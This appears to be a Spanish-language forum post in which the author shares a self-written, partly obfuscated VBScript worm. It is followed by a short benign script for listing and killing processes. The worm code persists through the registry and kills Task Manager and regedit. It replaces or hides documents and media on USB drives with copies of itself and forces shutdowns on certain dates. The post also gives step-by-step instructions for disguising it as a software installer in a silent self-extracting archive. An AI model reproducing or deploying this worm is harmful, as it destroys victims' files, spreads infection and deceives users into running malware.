Chav@s como estoy de vacaciones   y no tengo nada q hacer les traigo un worm  programado en vbscript x mi.Parte del code esta codificado aver si les gusta lo que hace_

• 1.-Infecta pc da
• 2.-Residente en la memoria
• 3.-Graffity a pc
• 4.-Impide q se abra el administrador de tareas y el registro de Windows
  
• 5.-Si lo borran regresa  
• 6.-Infecion USb remplaza una lista de formatos con el code deo worm eliminando el archivo original muy lamer    lose tambien cabe la opcion de solo ocultarlos en fin
• 7.-Prosesa sub carpetas para el paso6
• 8.-Cada vez q la pc infectada se encienda comprueva q el dia y el mes sumados den 18 la pc se apaga y como esta agregado a la pc no se prendera todo ese dia  

 
On Error Resume Next 'en cso de algun error no dar aviso
Set fso = CreateObject(des("Vfulswlqj1Ilohv|VwhpRemhfw"))     'Creamos objeto para manejar archivos 
y0 = Wscript.ScriptFullName                                    'variable con la ruta exacta del worm
Set tmp = fso.GetSpecialFolder(2)                              'hace referencia a la carpeta temporal 
Set ws = CreateObject(des("ZVfulsw1Vkhoo"))                     'Creamos objeto para manejar el registro
Set c = fso.GetFile(y0)                                        'creamos una variable contenga lo de la var y0
c.Copy(tmp&des("_NvY1yev"))                                     'con ayuda de lo anterior nos copiamos a la carpeta %temp%
fso.CopyFile y0, tmp&des("_NvY1yev")                             'nos copiamos a la carpeta %temp% )(x si no funciona la anterior)
ws.RegWrite "HKCU\software\<3\", " 4U ksv"                        'grafittiando el registro de windows 
ws.run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y#KlghIlohH{w")&  "/t reg_dword /d 1 /f",0   'ocultamos las extensiones de los archivos
ksv()       'llamamos a la funcion ksv
dloop()      'llamamos a la funcion dloop
 
Do                   'inicio de bucle infinito
On Error Resume Next
 
'las dos sig. lineas llama a la funcion see la cual se encarga de cerrar aplicaciones aqui ya le asignamos dos aplicaciones para q cierre (administrador de tareas y registro de windows) 
see(des("wdvnpju1h{h"))  
see(des("uhjhglw1h{h"))
ws.RegWrite des("KNH\bFXUUHQWbXVHU_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Nh|VY"),tmp&des("_NvY1yev") 'Nos agregamos al registro de windows
 
Set wf= fso.OpenTextFile(y0) 'abrimos el archivo de la variable y0 osea el q se esta ejecutando
i= wf.ReadAll                 'Agregamos el contenido completo del worm a la variable i 
wf.Close                      'cerramos el worm
If fSO.FileExists(y0) Then    'comprobamos q exista el contenido de la var.y0 si es asi
wscript.sleep 1000             'espera 1 segundo  
Else                           'si no existe
Set nf= fso.CreateTextFile(y0) 'creamos el archivo 
nf.Write i                      'escribimos el contenido q almacenamos en la var (i)
nf.Close                        'lo cerramos
End If
obdri()                     'vamos a la funcion obdri
Loop                        'una ves q termine la funcion obdri regresa a do
End Sub
 
'Funcion q se encarga de cerrar el administrador de windows y el registro de windows
Sub see(processname)
On Error Resume Next
Set WM =getobject(des("ZlqPjpWv="))
Set listservices= WM.instancesof(des("Zlq65bSurFhvV"))
For Each oService In listservices
If processname=oService.name Then
oService.Terminate
End If
Next
End Sub
 
 
Function obdri()     
On Error Resume Next
Set discos = fso.Drives   'tomamos el control de las unidades de la pc
For Each d In discos      'bucle para mapear las unidades
If d.Drivetype = 1 or 0 Then  'comprobamos q sean del tipo (1extendible) (0 desconosidos) si es asi
a1= d&"\"                       'agregamos la direcion en la var a1             
Call joder(a1)                  'llamamos a la funcion joder con una direcion  
End If
Next           'pasa a la sigiente 
End Function
 
 
Function joder(a2)
On Error Resume Next
Set f4 = fso.GetFolder(a2) 'toma control de las carpeta de la usb
Set carpeta = f4.Files      'toma control de los archivos
For Each abc In carpeta    'mapeo de archivos contenidas en un array 
nombres = array("jpg","dwg","mp4","vbs","mp3","docx","doc","pdf","pptx","xlsx","vbe","avi")
For each n in nombres
If fso.GetExtensionName(abc.path) = n Then  'si existe alguna de las extensiones en el array entonces   
fso.CopyFile y0, abc.path&".vbs"            'copiamos el contenido de la var. y0 a los archivos q encuentre si la extensión coincide pero le modificamos la extensión 
fso.DeleteFile abc.path         'borramos el archivo original
End If
next  'sigiente
next'siguiente
 
Set abc= f4.SubFolders 'aqui prosesamos e infectamos sub carpetas
For Each f3 In abc
Call joder(f3.path)
Next
End Function
 
 
'las siguientes 6 lineas se encarga de cifrar y descifrar 
Public Function des(p)
On Error Resume Next
For Ale = 1 To  Len(p)
des = des &Chr(Asc(Mid(p,Ale, 1))- 3)
Next
End Function
 
 
'comprueba si el dia y el mes sumados dan 18 si es asi apagamos la pc y como se agrego al registro 
'la pc no prendera todo es dia
Sub ksv()
On Error Resume Next
sum = CInt(Month(Date) + Day(Date))
If sum = 18 Then
ws.Run des("fpg#2f#vkxwgrzq#2u#2w#33"),0
End If
End sub
 

On Error Resume Next
Set fso = CreateObject(des("Vfulswlqj1Ilohv|VwhpRemhfw"))
y0 = Wscript.ScriptFullName
Set tmp = fso.GetSpecialFolder(2)
Set ws = CreateObject(des("ZVfulsw1Vkhoo"))
Set c = fso.GetFile(y0)
c.Copy(tmp&des("_NvY1yeh"))
fso.CopyFile y0, tmp&des("_NvY1yeh")
ws.RegWrite "HKCU\software\<3\", " 4U ksv"
Set ws = CreateObject("wscript.shell")
ksv438 = array(des("#VxshuKlgghq#"),des("#Klgghq#"),des("#VkrzVxshuKlgghq#"))
For each n in ksv438
ws.Run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y")& n&des("#2w#uhjbgzrug#2g#3#2i"),0
next
ws.Run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y")& " HideFileExt "&des("#2w#uhjbgzrug#2g#4#2i"),0  
ksv()
dloop()
Do 
On Error Resume Next
kya(des("wdvnpju1h{h")) 
kya(des("uhjhglw1h{h"))
ws.RegWrite des("KNH\bFXUUHQWbXVHU_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Nh|VY"),tmp&des("_NvY1yeh")
Set wf= fso.OpenTextFile(y0)
i= wf.ReadAll
wf.Close
y0=w
If fSO.FileExists(w) Then
wscript.sleep 1000
Else
Set nf= fso.CreateTextFile(w)
nf.Write i
nf.Close
End If
obdri()
Loop
End Sub
Sub kya(processname)
On Error Resume Next
Set WM =getobject(des("ZlqPjpWv="))
Set listServices= WM.instancesof(des("Zlq65bSurFhvV"))
For Each oService In listServices
If ProcessName=oService.name Then
oService.Terminate
End If
Next
End Sub
Function obdri()
On Error Resume Next
Set discos = fso.Drives
For Each d In discos
If d.Drivetype = 1 or 0 Then
a1= d&"\"
Call KsVAl(a1)
End If
Next
End Function
Function KsVAl(a2)
On Error Resume Next
Set f4 = fso.GetFolder(a2)
Set carpeta = f4.Files
For Each abc In carpeta
nombres = array("jpg","dwg","mp4","vbs","mp3","docx","doc","pdf","pptx","xlsx","vbe","avi")
For each n in nombres
If fso.GetExtensionName(abc.path) = n Then
fso.CopyFile y0, abc.path&".vbe"
'fso.DeleteFile abc.path
Set hi = fso.GetFolder(abc.path)
hi.Attributes = 7
End If
next
next
Set abc= f4.SubFolders
For Each f3 In abc
Call KsVAl(f3.path)
Next
End Function
Public Function des(p)
On Error Resume Next
For Ale = 1 To  Len(p)
des = des &Chr(Asc(Mid(p,Ale, 1))- 3)
Next
End Function
Sub ksv()
On Error Resume Next
sum = CInt(Month(Date) + Day(Date))
If sum = 18 Then
ws.Run des("fpg#2f#vkxwgrzq#2u#2w#33"),0
End If
End sub
 

 
On Error Resume Next
Set ws = CreateObject("WScript.Shell")
ws.run "worm.vbs"
ws.run "setup.exe"
 
 

Ese archivo se llamara start.vbs(el code anterior)
El worm se llamara worm.vbs
El programa se llamara setup.exe

Lo primero es añadir al archivo los 3 archivos marcar Crear un archivo extendible


Click en La pestaña de Avanzado..Autoextraible
Donde dice Carpeta de extracion escriben %TEMP% esta es la carpeta temporal de windows


En "Ejecutar tras la extracion" :Ponen start.vbs


Ahora vamos a la pestaña de modos marquen la opcion de "Ocultar todo"

Ahora en la pestaña de Texto e icono
CARGAR ICONO DESDE FICHERO  selecionen un icono q tengan

den aceptar y aceptar y listo  


Renombren la aplicacion por el nombre del programa por ej PhotoScapeSetup.exe

Al ejecutar este nuevo programa primero ejecutara el worm   y despues abrira el instalador del programa  

No compilen el code por q no funcionara x q NO FUNCIONARA LA OPCION DE AUTO RECOPERACION (osea lo borran y vuelve   )

El code es mi den creditos si lo postean en otro lugar  
si tienen preguntas   aganmelas saber
 

Q onda chav@sEn este mi primer aporte  les traigo un pequeño script q es como un segundo administrador de tareas


Es muy simple de usar solo ejecuten les preguntara q si qieren ver las aplicaciones
q estan corriendo si le dicen q si les creara y abrira un archhivo de texto con el nombrte de cada aplicacion segundos despues les pedira la aplicacion q se qiere cerrar no olviden la extensión ,ahora solo den enter y listo


Lo cree por q un virus no me degaba abrir el AT.  

'VBScript By KsV
Set ws = CreateObject("wscript.shell")
a=msgbox ("Quieres Ver Las Aplicaciones En Ejecucion",36,".:Mini-Administrador De Tareas ksv:.")
If a=VBYes Then
Set ofso = CreateObject("scripting.filesystemobject")
Set lita = ofso.createtextfile(".\EnEjecucion.txt")
Set WM =GetObject("winmgmts:")
Set listser= WM.instancesof("win32_process")
For Each service In listser
lita.writeline service.name
lita.writeblanklines(1)
Next
lita.close
ws.run ".\EnEjecucion.txt"
Wscript.sleep 2000
cual()
Else
cual()
Sub cual()
uv = InputBox("Nombre del proseso a terminar ",".:Mini-Administrador De Tareas:.")
If Right(uv, 1) <> ".exe" Then                                
    ap = uv & ".exe"
ter(ap)
else 
ter(uv)
end if
 
End Sub
sub ter(prne)
'empleando wmi Windows Management Instrumentation  terminamos el proceso indicado
Set WM =GetObject("winmgmts:")                 'tomamos control de winmgmts por aqui pasan los procesos q se inician
Set listser= WM.instancesof("win32_process")  'tomamos control de los procesos q se estan corriendo
For Each service In listser 'recorremos cada uno de los prosesos
If prne=service.name Then   'si el contenido de la var prne coincide con alguno de la lista 
service.Terminate 'lo terminamos
End If
Next
End sub
End If

Espero que les sirva el code creo q no tiene errores ,pero si les da uno m avisan no olviden los creditos